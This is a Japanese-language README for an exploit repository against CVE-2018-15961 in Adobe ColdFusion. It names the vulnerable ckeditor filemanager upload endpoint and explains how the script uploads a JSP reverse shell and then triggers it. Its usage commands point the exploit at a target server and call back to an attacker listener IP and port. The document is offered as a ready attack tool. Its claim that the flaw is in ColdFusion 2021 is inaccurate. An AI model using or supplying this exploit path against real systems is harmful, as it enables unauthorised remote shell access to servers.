CVE-2018-15961 - Adobe ColdFusion RCE

このリポジトリには、Adobe ColdFusion 2021 の RCE 脆弱性に対するエクスプロイトコードが含まれています。

エクスプロイトの説明

エクスプロイトは、JSP リバースシェルを含む POST リクエストを /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp にアップロードされます。その後、コードは単純な GET リクエストを送信してシェルを起動します。

使用方法

# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443

# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp